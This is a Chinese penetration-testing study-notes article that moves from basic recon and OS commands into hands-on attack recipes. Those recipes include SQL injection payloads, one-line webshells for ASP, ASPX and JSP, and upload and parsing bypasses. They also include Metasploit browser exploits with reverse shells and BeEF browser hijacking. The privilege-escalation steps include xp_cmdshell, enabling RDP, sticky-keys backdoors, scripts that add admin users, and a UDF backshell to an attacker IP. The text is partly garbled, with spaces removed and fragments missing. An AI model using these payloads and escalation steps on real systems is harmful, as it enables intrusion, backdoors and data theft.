浅显易懂,快速上手!深入浅出渗透测试基础笔记分享

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

1、cmd输入“curl-IIP或域名地址”--cmd查看请求数据包。

2、静态网站不需要用户注册,没有数据脚本,动态网站有大型数据所以要脚本语言编写,所以静态网站安全性比动态网站安全性要高。

3、查找动态网站方法:

inur:aspid=、inur:phpid=

4、判断静态网站和动态网站方法:

(1)修改后缀,例如index.html,改成index.php、index.asp、index.jsp,如果报错说明此网站是静态html网站,反之动态网站

(2)在网址后面加index.html、index.asp、index.php判断是什么脚本写的网址

(3)在网址后面加robots.txt,有的可能没有,没有可能说明是防止机器爬行。

5、如何判断伪静态网站:

6、如何通过网站判断是windows系统或是linux系统:

(1)linux系统对脚本网站后缀字母大小写敏感,windows系统不敏感,例如xx.aspid=1,修改成xx.Aspid=1,如果网站不报错说明是windows系统,反之linux系统。

7、网站搭建:

(1)Windows+iis+asp+access

(2)Windows+apmserv+php+mysql

(3)Windows+iis+asp+mssql

(4)Windows+tomcat+jsp+mysql

(5)windows+asp小旋风+asp+access

(6)linux+apche+php+mysql

8、一台服务器运行多个网站的条件:

(1)端口要不一样。

(2)IP要不一样(一台服务器里面可以设置多个IP)。

(3)域名要不一样。

9、常见的端口服务

(1)web服务:80、81、8080

(2)dns服务:53

(3)邮件服务:25、110

(4)telnet服务:23

(5)ssh服务:22

(6)ftp服务:21

(7)smb服务:445

(8)MySQL:3306

(9)Oracle:1521

(10)zookeeper:2181

(11)memcache:11211

(12)Redis:6379

(13)rsync:873

(14)Elasticsearch:9200

(15)LDAP:389

(16)MongoDB:27017

(17)HPJetDirect:9100

(18)hadoop:50070

10、通过端口可以干什么?

(1)信息收集

(2)目标探测

(3)服务判断

(4)系统判断

(5)系统角色分析

1、常用的DOS命令(windows系统)

(1)Color改变cmd颜色(例如colora-->字体变成淡绿色)

(2)ping-t-l65500IP死亡之ping(可以通过TTL值可以判断目标操作系统类型,例如TTL低于68的是linux,windows7,windows2008;TTL=128是windowsxp和windows2003)

(3)Ipcofnig查看ip;ipconfig/all查看详细的IP参数

(4)ipconfig/release释放IP

(5)ipconfig/renew重新获取IP

(6)systeminfo查看系统信息(提权查看补丁方法)

(7)arp-a查看局域网IP;netview查看局域网内的计算机名称。

(9)dir查看目录

(10)cd切换目录(cd“目录名称”;clsc是cmd清零)

(11)startwww.aaa.com打开网站

(12)start123.txt打开123.txt(在桌面打开文件)或者type123.txt(在cmd显示内容)

(13)md目录名创建目录(例如mdaa是指创建目录aa)

(14)rd目录名删除目录(例如rdaa是指删除目录aa)

(15)copyconc:\123.txt创建123.txt文件(不加路径就在当前路径添加文件)

Hello输入内容

Ctrl+z回车保存

(16)del文件名删除文件

(17)copy复制文件(例如copyaa.txtc:\windows是指将文件复制到windows目录下)

(18)move移动文件(例如moveaa.txtc:\windows是指将文件移动到windows目录下)

(19)tree属性列出文件夹结构

(20)telnetIP端口查看目标IP端口是否开放

(21)netusek:\\IP\c$将目标IP的C盘拿到本机来使用(相当于映射C盘到本地)

(22)netusek:\\192.168.254.137\c$/del删除映射目标C盘连接

(23)netstart查看开启哪些服务

(24)netstart服务名开启服务(例如netstarttelnet是指开启telnet服务)

(25)netstop服务名停止服务(例如netstoptelnet是指停止telnet服务)

(26)netuser查看有哪些用户

(27)netuser账户名查看账户的属性

(28)netuser用户名密码/add建立用户(例如netuseraa123/add)(提权用的比较多)

(29)netlocaLGroupadminstrators用户名/add将某用户添加到管理员中让它具备管理权限(例如netlocaLGroupadminstratorsaa/add是指将aa添加到管理员中让它具备管理权限)(提权用的比较多)

(30)netuserguest/active:yes激活guest用户

(33)netshare查看本地开启的共享

(34)netshareipc$开启ipc$共享

(35)netshareipc$/del删除ipc$共享

(36)netsharec$/del删除c:$共享

(37)netstat-a查看开启了哪些端口

(38)netstat-n查看端口的网络连接情况

(39)netstat-v查看正在进行的工作

(40)at查看所有的计划任务(如果命令停用了,使用schtasks.exe)

(41)atid号开启已注册的某个计划任务(例如at00:00shutdown是指设置00:00关机)

(42)at/delete停止所有计划任务,用参数/yes则不需要确认就直接停止

(43)atid号/delete停止某个已注册的计划任务

(44)attrib文件名(目录名)查看某文件(目录)的属性(例如attribaa是指查看aa这个文件名属性)

(45)attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存档,只读,系统,隐藏属性;用+则添加为某属性

2、手动清除木马

(1)查找开机启动项

(2)查看服务

(3)查看网络端口连接(常见木马端口:4444,8888,9527)

3、DNS表示域名解析

4、DNS的正向查找区域表示通过域名查找IP,DNS的反向查找区域表示通过IP查找域名。

5、旁站原理:两个或多个域名网站绑定了同一个IP,当域名解析的时候如果发现两个或多个域名是同一个IP,说明这些就是旁站。

6、liunx内核版本小知识

稳定版本:x.x.x如果中间x是偶数说明linux内核版本是稳定版本。

开发版本:x.x.x如果中间x是奇数说明linux内核版本是开发版本版本。

7、linux磁盘分区表示

例子:/dev/hda5

/dev表示硬件设备文件所在目录

hd表示IDE设备;sd表示SCSI设备

a表示硬盘的顺序号,以字母a,b,c...表示

5表示分区的顺序号,以数字1、2、3...表示

(注:分区顺序号是<5表示主分区,>=5表示逻辑分区)

8、硬盘和分区结构

例子:第1个主分区表示/dev/hda1

第2个主分区表示/dev/hda2

第一块IDE硬盘设备表示/dev/hda

第1个逻辑分区表示/dev/hda5

第2个逻辑分区表示/dev/hda6

练习:第2快SCSI硬盘的第3个逻辑分区如何表示?

答:/dev/sdb7

9、Linux文件系统类型

(1)Linux中默认使用的文件系统类型

EXT4,第3代扩展(extended)文件系统,swap,交换文件系统

(2)Linux支持的其他文件系统类型

FAT16、FAT32、NTFS、XFS、JFS....

10、linux常用命令

uname-a表示显示主机名、内核版本、硬件平台登详细信息

uname-r表示显示内核版本

Hostname查看当前用户

Ifconfig查看IP情况

cat/proc/cpuinfo查看cpu信息

cat/proc/meminfo查看内存信息

halt或shutdown-how关机命令

Reboot重启命令

Pwd查看在哪个目录下

ls查看当前目录文件

Mkdir-p创建目录命令

Touch创建文件命令

ln-s创建连接文件

cp复制命令(cp-r:递归复制整个目录树;cp-p保持源文件的属性不变;cp-f强制覆盖目标同名文件或目录;cp-i需要覆盖文件或目录时进行提醒)

rm删除命令(rm-f:强行删除文件或目录,不进行提醒;rm-i:删除文件或目录时提醒用户确认;rm-r:递归删除整个目录树)

mv移动文件或目录命令

Find命令(find-name:按文件名称查找;find-size:按文件大小查找;find-user:按文件属主查找;find-type:按文件类型查找)

Vi编辑文本命令

cat文件内容命令

Useradd用户名创建用户命令

Userdel-r用户名删除用户命令

Route查看路由命令

Netstat查看网络连接情况

11、liunx搭建网站(PHP)

1、局域网特点和常用设备

特点:(1)距离段(2)延迟小(3)传输速率高(4)传输可靠

常用设备:HUB(集线器)、交换机、路由器

2、广域网常用设备

(1)modem

(2)路由器

(3)广域网交换机

(4)接入服务器

3、IPS表示互联网服务提供商

4、网络分层分为三层:核心层、汇聚层(分布层)、接入层

5、OSIRM:开放系统互连参考模型

OSI参考模型具有以下优点

(2)提供设备间的兼容性和标准接口

(3)促进标准化工作

(4)结构上可以分隔

(5)易于实现和维护

6、OSI分层以及功能

(1)应用层---功能:提供应用程序间通信

(2)表示层---功能:处理数据格式、数据加密等

(3)会话层---功能:建立、维护和管理会话

(4)传输层---功能:建立主机端到端连接

(5)网络层---功能:寻址和路由选择

(6)数据链路层---功能:提供介质访问、链路管理等

(7)物理层---功能:比特流传输

(1)(2)(3)属于高层:是负责主机之间的数据传输

(5)(6)(7)属于底层:负责网络数据传输

7、TCP协议分层

(1)应用层---(HTTP、telnet、ftp、tftp)----提供应用程序网络接口

(2)传输层---(tcp/udp)---建立端到端连接

(3)网络层---(IP)---寻址和路由选择

(4)数据链路层---(Ethernet、802.3、ppp)---物理介质访问

(5)物理层--(接口和线缆)----二进制数据流传输

1、信息收集的内容有:

(1)dns收集

收集内容:域名--IP,whois查询。

查询用到的工具网站有:

(2)敏感目录:

收集内容:mysql管理接口、后台目录-、上传目录、Phpinfo、Robots.txt、安装包、安装页面、爬行

工具:wwwscan、御剑、cansina、burpsuit、webrobot、skipfish、uniscan、websploit

(3)端口探测

工具:nmap,masscan

(4)谷歌黑客

(5)子域探测

(6)旁站探测

(7)C段查询

(8)整站识别

(9)waf探测

(10)工具网站

2、判断网站cms类型

(1)判断目标

(2)脚本语言

(3)操作系统

(4)搭建平台

(5)Cms厂商

使用的工具:wvs、wwwscan、站长工具、whatweb、Googlehack

3、辨别挂黑码的代码:

4、网站暴库

(1)通过目录扫描,看能否扫出一些data的字样,最后看看是否能下载

(2)常见的查找库方法:

inurl:/inc/conn.aspinurl:/inc+conn.asptopaerentdirectoryintext:

inurl:/inc/conn.asp

inurl:/inc+conn.asp

Toparentdirectory

所有可能目录浏览的网页都有一些相同的地方,主要是下面几个:

toparentdirectory

LastmodifiedDescription

利用Google来搜索目录浏览的Google语法主要有:intitleintextinurlsitefiletype等等

搜索域名后缀,常见的域名后缀有:comnetmillorginfogovedubizcoopaeroprointarpa

(3)暴库绕过防下载的方法:

#sdsf.mdb,下载时改成%23sdsf.mdb

(4)高级语法暴库:

inurl:./..admin../..add..

inurl:./..admin../..del.

Inurl:./.asp

(5)拿到数据库可以使用以下工具打开:

辅臣数据库浏览器、破障access数据查看器

5、后台查找方法

(1)默认后台:admin,admin/login.asp,manager,login.asp等等常见后台

(3)查看网站图片的属性:右击图片属性,有时候也会暴露管理员目录

(4)查看网站使用的管理系统,从而确定后台

(5)用工具查找:wwwscan,intellitamper,御剑等

(6)robots.txt的帮助:robots.txt文件告诉蜘蛛程序在服务器上什么样的文件可以被查看

(7)Googlehacker:例如site:xxx.caomintitle:后台管理;site:xxx.com;inurtl:xxx.com;site:xxx.com后台管理;site:xxx.com后台登陆

(8)查看网站使用的编辑器是否有默认后台,密码。

工具爆破:御剑,wwwscan等等

蜘蛛爬行:robots,burpsuite,wvs,netpark等等

(9)网站cms下载分析:用过下载该网站cms源代码进行后台目录分析查找

(10)社会工程

6、网站管理员密码破解

1、access数据库介绍

Access是由微软发布的关系数据库管理系统,是Microsoftoffice的系统程序之一。用户小型网站居多。

优势:

(1)提高速度和减少代码量

(2)用整形数进行数学运算

(3)避免使用过程调用

缺陷:

(1)数据库过大时容易造成IIS假死,过多消耗服务器资源。

(2)容易出现因数据库刷写频率过快而引起的数据库问题。

(3)access数据库安全性比不上其他类型的漏洞库。

2、access数据库后缀名:

*.mdb

3、ASP中连接字符串应用

这是定义它使用什么数据库

“Driver={microsoftacces

driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;”

4、access打开的工具:

辅臣数据库工具,破障浏览器工具

5、注入点连接分析

6、accss注入判断注入点

’判断是否把参数带进去一起执行,如果页面错误说明’已经带入执行了,页面正确说明没有把参数带入执行

and1=1页面返回正常,and1=2页面返回错误说明存在注入

or1=1页面返回错误,or1=2页面返回正常说明存在注入

and1=23

7、确定存在注入如何判断数据库类型

andexists(select*frommsysobjects)>0判断是否是access数据库,如果能执行页面返回正确说明是access数据库,或者页面返回错误,错误提示说没有读取权限也说明是access数据库,如果查询不到数据库说明不是access数据库。

(结合不同数据库名称判断:andexists(select*fromsysobjects)>0判断是否是myssql数据库)

8、判断数据库表

andexists(select*fromadmin)页面返回正确说明存在admin这个表

9、判断表的字段名

andexists(selectadminfromadmin)

andexists(selectpasswrodfromadmin)

10、判断表的字段长度

orderby10(10表示字段长度)

输入语句让它报错显示字段名存在哪个位置

and1=2unionselect1,2,3,4,5,6,7,8,9fromadmin

例如:显示admin显示3,password显示6

那么再执行and1=2unionselect1,2,admin,4,5,password,7,8,9fromadmin显示admin和password字段里面的内容。

11、判断账户密码的长度

and(selectlen(admin)fromadmin)=5如何返回正确说明管理员账户的长度是5

and(selectlen(passwrod)fromadmin)=5如何返回正确说明管理员密码的长度是5

12、猜字段的ASCII值

and(selecttop1asc(mid(字段名,1,1))from表名)>0

13、mssql介绍

Microsoft推出的一种关系型数据库系统,SQLserver是一个可扩展的,高性能的,为分布式客户机/服务器计算所设计的数据库管理系统,实现了与windoNT的有机结合,提供了基于事务的企业级信息管理系统方案。适用于中大型网站

14、mssql服务端口:1433

15、mssql基础语句

查询语句:select*form表名

Select*fromstuden

创建数据库:

CREATEDATABASEdatabase-name

删除数据库:

Dropdatabasedbname

16、mssql数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等system

db权限:文件管理,数据库操作等users-administrators

public权限:数据库操作guest-users

17、mssql注入语句(注:不同版本的SQLserver版本的查询语句不一样)

(1)判断是否有注入

and1=1

and1=2

判断注入的方法是一样的

(2)初步判断是否是mssql

anduser>0

(3)判断是否是mssql数据库系统

and(selectcount(*)fromsysobjects)>0

(4)注入参数是字符

‘and[查询条件]and’’=’

(5)搜索时没过滤参数的

‘and[查询条件]and’%25’=’

(6)猜数表名

and(selectCount(*)form[表名])>0

(7)猜字段

and(selectCount(字段名)from表名)>0

(8)猜字段中记录长度

and(selecttop1len(字段名)from表名)>0

(9)猜字段的ASCII值and(selecttop1unicode(substring(字段名,1,1))from表名)>0

18、mysql介绍

mysql是一个关系型数据库管理系统,适用于中小型网站开发,搭配PHP和apache可组成良好的开发环境。

19、mysql操作命令

(1)创建数据库

(2)删除数据库

dropdatabasedbname

(3)创建新表

CREATETABLEMYTABLE(nameVARCHAR(20),sexCHAR(1));

(4)查看数据库

Showdatabases

20、mysql函数

(1)system_user()系统用户名

(2)user()用户名

(3)current_user当前用户名

(4)session_user()连接数据库的用户名

(5)database()数据库名

(6)version()MYSQL数据库版本

(7)load_file()转成16进制或者是10进制MYSQL读取本地文件的函数

(8)@@datadir读取数据库路径

(9)@@basedirMYSQL安装路径

(10)@@version_compile_os操作系统

21、phpmysql连接

$host=’localhost’;//数据库地址

$database=’sui’;//数据库名称

$user=’root’;//数据库账户

$pass=”;//数据库密码

$webml=’/0/’;//安装文件夹

>

22、判断注入

and1=1返回正常and1=2返回不正常,说明存在注入点

23、判断字段长度

orderbyxx

orderby21正常orderby22不正常,说明长度为21

24、mysql读取和写入

load_file()该函数是用来读取源文件的函数,只能读取绝对路径的网页文件

演示:and1=2unionselect

1,load_file(\C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php’),3,4,5

查看网站跟路径的方法:

(1)报错显示

(2)谷歌黑客

Site:目标网站warning

(3)遗留文件phpinfoinfotestphp

(4)漏洞爆路径

(5)读取配置文件

intooutfile写入函数

演示:and1=2unionselect1,”一句话木马”,3,4,5intooutfile‘网站路径’

25、Oracle数据库介绍

Oracle数据库系统是以分布式数据库为核心的一组软件产品,是目前世界上使用最为广泛的数据库管理系统,基于“客户端/服务端”结构模式,属于大型的数据库系统。

26、Oracle判断注入

and1=1and1=2和其他数据库一样

27、提交方式get,post,cookie注入

get注入

例如:www.aaa.com/ina.aspid=1

post注入

例如:www.bbb.com/login.asptfUPass=&tfUNname=

测试工具:pangolin,sqlmap

Cookie方式

Cookie提交用于账号密码的cookie缓存

还可以通过cookie注入来突破简单的防注入系统

使用工具:注入中转工具

28、参数注入

数字型注入

例子:www.aaa.com/news.aspid=1

字符型注入

例子:www.aaa.com/news.aspid=你好

判断注入格式:www.aaa.com/news.aspid=你好‘and1=1#

或者www.aaa.com/news.aspid=你好‘and1=1’

搜索型注入

用到的工具:burpsuite、sqlmap

通过输入框输入内容,用burpsuite抓包,将抓到的数据包复制保存到txt里面,然后打开sqlmap跑

例如:sqlmap-r1.txt--tables猜表名

Sqlmap-r1.txt--columns-T“admin”猜列名

Sqlmap-r1.txt--C“admin.password”-T“manager”--dump-v2列内容

1、一句话木马

简述:一句话木马短小精悍,而且功能强大,隐蔽性非场好,在入侵中始终扮演着强大的作用。它是基于B/S结构的

例如:<%evalrequest(“value”%)>这是比较多见的一句话

解析:Value是值,可以自由更改,request是获取这个值

2、各类脚本一句话木马常见写法

asp一句话木马:

<%evalrequest(“xxx”)%>

php一句话木马:

aspx一句话木马:

<%@PageLanguage=”Jscript”%>

<%eval(Request.Item[“value”])%>

jsp一句话木马:

<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

3、一句话木马常用的客户端有:

一句话客户端增强版、中国菜刀、中国砍刀、lanker一句话客户端、ZV新型OHO一句话木马客户端GUI版、哥斯拉

4、一句话木马制作

C32下做一句话、打开C32,把图片放里面,写入一句话保存。。退出

Cmd下做一句话

Copy/b1.jpg+1.asp2.jpg

5、使用包含进行突破waf

txt写入,然后保存bap.asp

再放入一个以图片格式的一句话木马1.jpg

6、解析漏洞(配合上传文件使用)

解析漏洞主要说的是一些特殊文件被IIS、apache、nginx在某种情况下解释成脚本文件格式的漏洞

(1)IIS5.x/6.0解析漏洞

利用方法有两种:

1.目录解析:/xx.asp/xx.jgp

在网站下建立文件夹的名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录xx.asp,那么在文件内放入一句话木马文件

/xx.asp/1.jpg将被当作asp文件来执行。假设黑客可以控制上传文件路径,就可以不管你上传后你的图片改不改后缀名都能拿到shell

2.文件解析:xx.asp;.jgp

第二种,在IIS6.0下,分号后面的不被解析,也就是说xx.asp;.jpg会被服务器看成wooyun.asp还有IIS6.0默认的可执行文件,除了asp还包含这三种/xx.asa、/xx.cer、/xx/cdx

(2)apache解析漏洞

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断

例如xx.oho.owf.rar,”.owf”和”.rar”这两种后缀是apache不可识别解析,apache就会把xx.php.owf.rar解析成PHP

如果判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xx.php.rara.jpg...(把常见后缀都写上去)去测试是否是合法后缀

任意不识别的后缀,逐级向上识别

(3)IIS7.0/7.5/Nginx<8.03畸形解析漏洞

Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的

在默认fast-cgi开启状况下,黑客上传一个名字为xx.jgp,内容为

,’’);>的文件,然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php

www.xxx.com/logo.gif/*.php触发漏洞(有漏洞会把前面文件当作php执行)

(4)nginx<8.03空字节代码执行漏洞

影响版:0.5,0.6,0.7<=0.7.65,0.8<=0.8.37

nginx在图片中嵌入oho代码然后通过访问xxx.jpg%00.php来执行其中代码

(5)htaccess文件解析

如果在apache中.htaccess可被执行,且可被上传,那可以尝试在.htaccess中写入:

然后再上传shell.jpg的木马,这样shell.jpg就可解析为php文件

7、文件上传漏洞

服务器上传文件命名规则

第一种类型:上传文件名和服务器命名一致

(1)文件头欺骗漏洞

在一句话木马前面加入GIF89a,然后将木马保存为图片的格式

例如cracer.jpgcracer.gif

文件头欺骗可以用来绕过简单的waf

(2)filepath漏洞

可以用来突破自动命名规则

Xxx.gif

改变文件上传后的路径:/a.asp/需要一定的创建权限,不一定能够成功创建。

成功创建后为/a.asp/xxx.gif

直接改变文件名称:/a.asp;.

修改后为/a.asp;.xxx.gif

(3)利用%00截断上传

(4)利用filetype漏洞上传

抓包后,更改content-tyep:里面的文件类型。

1、XSS介绍

XSS(cross-sitescript)跨站脚本,在owasp评为第二威胁漏洞,xss是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。Xss最大特点就是能注入恶意代码到用户浏览器的网页上,从而达到劫持用户会话的目的。

2、XSS脚本实例

XSS弹出恶意警告框。代码:

嵌入其他网站链接的代码为:

3、XSS的危害

(1)网络钓鱼,包括盗取各类用户账号

(2)窃取用户cookie

(3)窃取用户浏览请回话

(5)网页挂马

(6)提升用户权限,进一步渗透网站

(7)传播跨站脚本蠕虫等

4、XSS的分类

(1)反射型XSS(一次性)

反射性跨站脚本也称作非持久性、参数型跨站脚本、这类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中

一般使用的将构造好的url发给受害者,使受害者点击触发,而且只执行一次。非持久化

(2)存储型XSS(持久性)

存储型XSS比反射型跨站脚本更具有威胁性,并且可能影响到web服务器的自身安全。

此类xss不需要用户点击特定的url就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。

5、XSS中常用的小工具

(1)Hackbar:

(2)Firebug:该工具提供了许多强大的功能,包括动态修改html代码、探索DOM机构、监视网络请求和响应、调试和检测任何页面的css、html和JavaScript等

(5)Editorcookie:抓取cookie和修改cookie工具

(6)Viewsourchart

6、XSS盗取cookie

7、XSS绕过限制

几种简单绕过XSS的方法

(1)绕过magic_quotes_gpc

(2)HEX编码

(3)改变大小写

(4)关闭标签

8、XSS-Beef实验

(1)利用beef劫持客户端浏览器

Kali启动beef:cd/usr/share/beef-xss/

./beef

启动

默认账户密码都是beef

(2)beef+msf拿客户端shell(针对IE6以下版本xp)

打开msf

利用模块usewindows/browser/ms10_002_aurora

SetPAYLOADwindows/meterpreter/reverse_tcp

Showoptions

SetSRVHOSTxx.xx.xx.xx(IP)

SetSRVPOSTxxxx(端口)

SetURIPATH/

SetLHOSTxx.xx.xx.xx

SetLPORTxxxx(端口)

exploit

(3)beef+msf拿客户端shell(针对IE7、8版本win7、win8)

利用模块useexploit/windows/browser/ie_execcommand_uaf

showoptions

SetSRVHOSTxx.xx.xx.xx(IP)

Exploit

9、XSS漏洞扫描

常用工具:wvs、椰树、safe3、Xelenium、w3af、vega、xss扫描插件+burp、appscan

永久劫持管理员cookie

简述:文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制得脚本或代码,并让服务器端执行,代码注入得典型代表就是文件包含fileinclusion。文件包含可能会出现在jsp、php、asp等语言中,常见得导致文件包含的函数如下:

PHP:

Include()、include_one()、require()、require_once()、fopen()、readfile()....

JSP/Servlet:

ava.io.file()、java.io.filereader()....

ASP:

Includefile,includevirtual...

PHP的文件包含函数

(1)本地包含

Include()、include_one()、require()、require_once()

当使用者4个函数包含一个新文件时,该文件将作为PHP代码执行,php内核并不在意该包含的文件是什么类型

$test=$_GET[‘c’];

Include($test);

保存为include.php

在同一个目录下创建test.txt内容为

本地文件包含漏洞利用的条件

1、include()等函数通过动态变量的方式引入需要包含的文件

2、用户能控制该动态变量

(2)远程文件包含

如果php的配置选项allow_url_include为on,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI)

代码:

Include(%test);

(3)本地文件包含漏洞利用技巧

包含用户上传的文件

1.用户上传的文件内容中如果包含了PHP代码,那么这些代码被includ()加载后将会执行

包含data://或php://input等伪协议

包含session文件

包含日志文件,比如webserver的accesslog

1、通过构造语句让服务器报错并将一句话随报错信息写入日志

2、找到日志文件

3、用菜刀连接

4、拿下网站

简述:commandinjection,即命令注入,是指由于web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至web

应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。命令注入攻击最初被称为shell命令注入攻击,是由挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站删除网页,就像从硬盘中删除一个文件一样简单。

PHP命令执行函数

在PHP中可以使用下列五个函数来执行外部的应用程序或函数

(1)system:执行一个外部的应用程序并显示输出的结果

(2)exec:执行一个外部的应用程序

(3)passthru:执行一个Unix系统命令并显示原始的输出

(4)shell_exec:执行shell命令并返回输出的结果的字符串

(5)”””运算符:与shell_exec函数的功能相同

1、提权含义

主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提示webshell权限已夺得服务器权限。

2、通常所处得权限

ASP/PHP匿名权限

aspxuser权限

jsp通常是系统权限

3、提权前信息收集

内外网

服务器系统和版本位数

服务器得补丁情况

服务器得安装软件情况

服务器得防护软件情况

端口情况

支持脚本情况

4、提权前信息收集的常用命令

Windows:

Ipconfig/all查看当前IP

Netuser查看当前服务器账号情况

Netstat-ano查看当前服务器端口开放情况

Ver查看当前服务器操作系统

Systeminfo查看当前服务器配置信息(补丁情况)

Tasklist/svc查看当前服务器进程情况

Tasklist-PIDpid号结束某个pid号的进程

Tasklist/imqq.exe/f结束qq进程

Netuserxxxx/add添加一个用户名为xx密码为xx的用户

Netlocalgroupadministratorsxx/add将用户xx添加到管理员组

Whoami查看当前操作用户(当前权限)

Linux:

Ls-al查看当前目录下的文件和文件夹

Pwd查看当前操作路径

Uname-a查看当前服务器内核信息

5、cmd无法执行情况

防护软件拦截

Cmd被降权

组件被删除

解决方法:找可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用执行。

6、查找3389端口方法

注册表读取

工具扫描

命令探针

7、server-u提权

(1)有修改权限

0检测是否有可写入前西,修改server-u默认安装目录下的servUDaemon.ini

1增加用户

2连接

3执行命令

Quotesiteexecnetuserxxxx/add

Quotesiteexecnetlocalgroupadministratorsxx/add

(2)无修改权限

暴力破解MD5

溢出提权

8、pcanywhere提权

9、radmin提权

通过端口扫描,扫描4889端口

上传radmin.asp木马读取radmin的加密密文

使用工具连接

10、vnc提权

通过读取注册表十进制数

将得出得十进制数去掉第一个数,其他得转换成十六进制数

破解十六进制数得到密码

Vncx4.exe-w回车

输入转换后的十六进制数

连接vnc

11、g6ftp提权

下载管理配置文件,将administrator管理密码破解

使用lcx端口转发(默认只允许本机连接)

Lcx.exe-tran8027127.0.0.18021

创建用户并设置权限和执行的批处理文件

上传批处理

执行命令quotesitex.bat

x.bat内容为添加系统用户提权

12、破解hash提权

上传pwdump.exe运行获取hash值

拿到lc5、彩虹表中破解

即可得到管理员密码

13、360本地提权

上传cmd.exxe和360.exe文件

运行360.exe文件

生成shift五次后门即可

14、flashfxp提权

下载quick.bat文件

覆盖

获取网站管理密码

15、filezilla提权

filezilla是一款开源的FTP服务器和客户端的软件。

若安装了服务器端默认只侦听127.0.0.1的14147端口

并且默认安装目录,目录下有两个敏感文件filezillaserver.xml(包含了用户信息)和filezillaserverinterface.xml(包含了管理信息)

提权思路:

下载这两个文件,拿到管理密码

分配权限,设置家目录为C:\

使用cmd.exe改名为sethc.exe替c:\windows\system32\sethc.exe生成shift后门

连接3389按五次shift调出cmd.exe

16、搜狗输入法提权

找到搜狗输入法安装目录,上传组件

覆盖搜狗输入法调用的组件

当管理员使用搜狗输入法时

组件被调用账户创建完成

sunwearsunwear

17、pr提权

上传pr.exe

运行

pr.exe“netuser”

18、巴西烤肉提权

方法和pr提权一样

19、启动项提权

前提写入的目录需要写入权限

将批处理文件上传到开机启动项目录等待管理员重启即可

20、msssql提权(最好是sa用户,其他用户提权困难)

(1)安装组件

cmd_shell安装组件

EXECsp_configure’showadvancedoptions’,1

GO

RECONFIGURE

EXECSP_configure‘xp_cmdshell’,1

删除cmd_shell组件

EXECSP_configure‘xp_cmdshell’,0

(2)开启3389

开:

exec

Master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,0;--

关:

Master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,1;

(3)创建用户

(4)提升权限

需要用到的工具:sql综合利用工具、sql查询分析器、sqltool2.0。

21、MySQL数据库提权

(1)Udf提权

获取到对方的mysql数据库下的root账号密码

1.查看网站源码数据库配置文件(inc,conn,config.sql,common等)

2.查看数据库安装路径下的user.myd(/data/mysql/)

3.暴力破、mysql密码破解、3306端口入侵

Udf提权原理:通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

(2)启动项提权

1.查看我们进入数据库中有哪些数据表

Mysql>showtables;

默认的情况下,test中没有任何表的存在

以下为关键的部分

2.在test数据库下创建一个新的表;

Mysql>createtablea(cmdtext);

创建一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

3.在表中插入内容

Mysql>insertintoavalues

(“setwshshell=createobject(“”wscript.shell””)”);

(“a=wshshell.run(“cmd.exe/cnetuser11/add””,0)”);

(“b=wshshell.run(“”cmd.exe/cnetlocalgroup

Administrators1/add””,0)”);

注意双引号和括号以及后面的“0”一定要输入,这三条命令是建立vbs的脚本程序。

4.确认表a内容是否写入上面的三条命令

Mysql>select*froma;

5.输出表为一个vbs的脚本文件

Mysql>select*fromaintooutfile“c://docume~1//

Administrator//[开始]菜单//程序//启动//a.vbs”;

6.重新启动即可触发。

(3)Mof提权

第一种方法:

上传mof.php

第二种方法:

上传文件x.mof

使用select命令导入到正确位置

Selectload_file(‘c:/wmpub/nullevt.mof’)intodumpfile‘c:/windows/system32/wbem/mof/nullevt.mof’

允许外部地址使用root用户连接的sql语句

Grantallprivilegeson*.*to‘root’@’%’identifiedby‘kdm001’withgrantoption;

(4)反连端口提权

利用mysql客户端工具连接mysql服务器,然后执行下面操作

执行命令

Mysql.exe-h172.16.10.11-uroot-p

Enterpassword:

Mysql>\.c:\,mysql.txt

Mysql>selectbackshell(“yourIP”,2010);

本地监听你反弹的端口

Nc.exe-vv-l-p2010

成功后,获得一个system权限的cmdshell(这也是利用了UDF提权)

22、Linux提权

Uname-r查看系统内核版本信息

找到对应内核版本的exp

上传--编译--运行--ok

23、lck内网转发

内网主机输入命令

Lcx.exe-slave(黑客地址/本机地址)外网IP外网端口内网IP内网端口

THE END
